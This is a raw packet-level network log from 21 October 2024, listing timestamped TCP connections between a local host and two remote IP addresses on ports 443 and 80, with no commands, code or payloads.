Oct 21, 2024 13:17:48.131047964 CEST	49910	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.131078005 CEST	443	49910	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.131145954 CEST	49910	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.131156921 CEST	49911	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.131176949 CEST	443	49911	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.131295919 CEST	49910	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.131309032 CEST	443	49910	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.131336927 CEST	49911	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.131489038 CEST	49911	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.131504059 CEST	443	49911	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.143444061 CEST	443	49907	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.143744946 CEST	443	49907	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.143840075 CEST	49907	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.143848896 CEST	443	49907	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.143870115 CEST	443	49907	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.143985033 CEST	49907	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.143985033 CEST	49907	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.143985033 CEST	49907	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.146862984 CEST	49912	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.146927118 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.147007942 CEST	49912	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.147147894 CEST	49912	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.147166014 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.366318941 CEST	49903	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.366358042 CEST	443	49903	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.444569111 CEST	49907	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.444590092 CEST	443	49907	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.803666115 CEST	443	49908	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.804436922 CEST	49908	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.804455996 CEST	443	49908	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.804896116 CEST	49908	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.804913044 CEST	443	49908	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.856693983 CEST	443	49909	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.857254028 CEST	49909	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.857270002 CEST	443	49909	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.857666016 CEST	49909	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.857695103 CEST	443	49909	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.879682064 CEST	443	49910	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.880256891 CEST	49910	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.880280972 CEST	443	49910	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.880619049 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.880645037 CEST	49910	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.880650043 CEST	443	49910	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.880902052 CEST	49912	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.880918980 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.881242037 CEST	49912	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.881246090 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.882874012 CEST	443	49911	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.883095980 CEST	49911	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.883117914 CEST	443	49911	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:48.883480072 CEST	49911	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:48.883487940 CEST	443	49911	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.128021002 CEST	443	49908	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.128091097 CEST	443	49908	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.128175020 CEST	49908	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.128408909 CEST	49908	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.128408909 CEST	49908	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.128426075 CEST	443	49908	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.128431082 CEST	443	49908	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.128722906 CEST	443	49909	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.128742933 CEST	443	49909	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.128794909 CEST	443	49909	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.128843069 CEST	49909	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.128843069 CEST	49909	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.128957987 CEST	49909	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.128972054 CEST	443	49909	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.128998995 CEST	49909	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.129004955 CEST	443	49909	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.131450891 CEST	49913	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.131488085 CEST	443	49913	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.131532907 CEST	49914	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.131557941 CEST	49913	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.131567955 CEST	443	49914	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.131632090 CEST	49914	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.131757021 CEST	49913	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.131766081 CEST	443	49913	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.131782055 CEST	49914	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.131792068 CEST	443	49914	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.250636101 CEST	443	49910	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.250807047 CEST	443	49910	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.251019001 CEST	49910	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.252454996 CEST	49910	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.252486944 CEST	443	49910	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.252501965 CEST	49910	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.252509117 CEST	443	49910	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.253304005 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.253478050 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.253531933 CEST	49912	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.253560066 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.253596067 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.253639936 CEST	49912	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.253675938 CEST	49912	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.253689051 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.253695011 CEST	49912	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.253700972 CEST	443	49912	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.255384922 CEST	49915	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.255430937 CEST	443	49915	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.255501986 CEST	49915	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.255642891 CEST	49915	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.255650043 CEST	443	49915	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.255693913 CEST	49916	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.255743027 CEST	443	49916	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.255804062 CEST	49916	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.255884886 CEST	49916	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.255897999 CEST	443	49916	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.258018017 CEST	443	49911	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.258080006 CEST	443	49911	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.258157015 CEST	49911	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.258208036 CEST	49911	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.258208036 CEST	49911	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.258225918 CEST	443	49911	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.258236885 CEST	443	49911	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.260284901 CEST	49917	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.260303974 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.260374069 CEST	49917	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.260484934 CEST	49917	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.260497093 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.860086918 CEST	443	49913	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.860789061 CEST	49913	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.860820055 CEST	443	49913	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.861474991 CEST	49913	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.861480951 CEST	443	49913	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.989634991 CEST	443	49913	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.989903927 CEST	443	49913	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.990011930 CEST	49913	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.990178108 CEST	49913	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.990195036 CEST	443	49913	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.990204096 CEST	49913	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.990209103 CEST	443	49913	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.993547916 CEST	49918	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.993580103 CEST	443	49918	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:49.993676901 CEST	49918	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.993859053 CEST	49918	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:49.993870974 CEST	443	49918	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.001086950 CEST	443	49915	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.001564026 CEST	49915	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.001571894 CEST	443	49915	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.002150059 CEST	49915	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.002154112 CEST	443	49915	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.012571096 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.013113022 CEST	49917	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.013166904 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.013511896 CEST	49917	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.013526917 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.137551069 CEST	443	49915	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.137581110 CEST	443	49915	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.137634039 CEST	443	49915	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.137666941 CEST	49915	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.137692928 CEST	49915	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.137931108 CEST	49915	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.137942076 CEST	443	49915	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.137947083 CEST	49915	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.137952089 CEST	443	49915	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.141241074 CEST	49919	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.141273975 CEST	443	49919	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.141374111 CEST	49919	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.141539097 CEST	49919	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.141552925 CEST	443	49919	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.150675058 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.150749922 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.150806904 CEST	49917	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.150815010 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.150866985 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.150924921 CEST	49917	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.151030064 CEST	49917	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.151038885 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.151060104 CEST	49917	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.151065111 CEST	443	49917	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.153358936 CEST	49920	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.153383970 CEST	443	49920	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.153498888 CEST	49920	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.153563976 CEST	49920	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.153570890 CEST	443	49920	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.268157005 CEST	443	49914	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.268671036 CEST	49914	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.268702984 CEST	443	49914	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.269258022 CEST	49914	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.269264936 CEST	443	49914	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.396136045 CEST	443	49916	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.402271032 CEST	443	49914	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.402359962 CEST	443	49914	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.402518034 CEST	49914	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.403290987 CEST	49916	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.403301954 CEST	443	49916	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.403872013 CEST	49916	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.403877020 CEST	443	49916	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.405318975 CEST	49914	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.405342102 CEST	443	49914	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.405355930 CEST	49914	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.405361891 CEST	443	49914	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.418229103 CEST	49921	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.418255091 CEST	443	49921	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.418363094 CEST	49921	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.418477058 CEST	49921	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.418488979 CEST	443	49921	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.533104897 CEST	443	49916	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.533173084 CEST	443	49916	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.533260107 CEST	49916	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.534058094 CEST	49916	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.534076929 CEST	443	49916	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.534090996 CEST	49916	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.534096956 CEST	443	49916	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.536873102 CEST	49922	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:50.539603949 CEST	49923	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.539623976 CEST	443	49923	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.539788008 CEST	49923	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.540030956 CEST	49923	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.540045023 CEST	443	49923	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.542244911 CEST	80	49922	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:50.542352915 CEST	49922	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:50.542573929 CEST	49922	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:50.547858953 CEST	80	49922	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:50.716535091 CEST	443	49918	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.717008114 CEST	49918	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.717017889 CEST	443	49918	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.717468977 CEST	49918	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.717473030 CEST	443	49918	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.846134901 CEST	443	49918	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.846537113 CEST	443	49918	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.846633911 CEST	49918	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.846751928 CEST	49918	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.846772909 CEST	443	49918	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.846782923 CEST	49918	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.846788883 CEST	443	49918	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.849414110 CEST	49924	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.849442005 CEST	443	49924	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.849498987 CEST	49924	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.849656105 CEST	49924	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.849664927 CEST	443	49924	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.878185987 CEST	443	49919	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.878645897 CEST	49919	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.878680944 CEST	443	49919	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.879219055 CEST	49919	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.879224062 CEST	443	49919	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.880574942 CEST	443	49920	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.881309032 CEST	49920	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.881309032 CEST	49920	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:50.881326914 CEST	443	49920	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:50.881355047 CEST	443	49920	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.008918047 CEST	443	49919	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.009006023 CEST	443	49919	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.009066105 CEST	49919	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.009361029 CEST	49919	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.009378910 CEST	443	49919	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.009391069 CEST	49919	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.009397030 CEST	443	49919	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.009680033 CEST	443	49920	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.009769917 CEST	443	49920	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.009831905 CEST	49920	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.009952068 CEST	49920	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.009952068 CEST	49920	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.009970903 CEST	443	49920	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.009984016 CEST	443	49920	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.012371063 CEST	49925	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.012406111 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.012473106 CEST	49926	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.012509108 CEST	443	49926	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.012522936 CEST	49925	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.012559891 CEST	49926	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.012644053 CEST	49925	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.012655973 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.012739897 CEST	49926	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.012751102 CEST	443	49926	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.158137083 CEST	443	49921	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.158644915 CEST	49921	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.158674955 CEST	443	49921	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.159152031 CEST	49921	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.159158945 CEST	443	49921	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.270977974 CEST	443	49923	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.271467924 CEST	49923	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.271485090 CEST	443	49923	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.274949074 CEST	49923	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.274955988 CEST	443	49923	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.289776087 CEST	443	49921	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.289803982 CEST	443	49921	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.289841890 CEST	443	49921	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.289927959 CEST	49921	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.289927959 CEST	49921	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.290082932 CEST	49921	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.290082932 CEST	49921	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.290096045 CEST	443	49921	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.290103912 CEST	443	49921	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.292979002 CEST	49927	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.293004036 CEST	443	49927	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.293318987 CEST	49927	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.293459892 CEST	49927	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.293477058 CEST	443	49927	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.402399063 CEST	443	49923	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.402647018 CEST	443	49923	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.402750969 CEST	49923	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.402750969 CEST	49923	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.402785063 CEST	49923	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.402795076 CEST	443	49923	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.405958891 CEST	49928	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.405992031 CEST	443	49928	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.406104088 CEST	49928	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.406253099 CEST	49928	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.406265020 CEST	443	49928	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.578174114 CEST	80	49922	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:51.582396030 CEST	49922	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:51.587837934 CEST	80	49922	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:51.595341921 CEST	443	49924	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.595969915 CEST	49924	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.595995903 CEST	443	49924	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.596437931 CEST	49924	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.596443892 CEST	443	49924	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.729346991 CEST	443	49924	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.729377031 CEST	443	49924	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.729424953 CEST	443	49924	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.729428053 CEST	49924	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.729504108 CEST	49924	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.729602098 CEST	49924	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.729624033 CEST	443	49924	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.729635954 CEST	49924	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.729641914 CEST	443	49924	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.732568026 CEST	49929	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.732618093 CEST	443	49929	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.732719898 CEST	49929	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.732863903 CEST	49929	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.732877970 CEST	443	49929	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.753197908 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.753637075 CEST	49925	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.753652096 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.754247904 CEST	49925	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.754252911 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.754535913 CEST	443	49926	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.755007029 CEST	49926	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.755033970 CEST	443	49926	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.755422115 CEST	49926	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.755428076 CEST	443	49926	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.883920908 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.883950949 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.883999109 CEST	49925	443	192.168.2.9	13.107.246.45
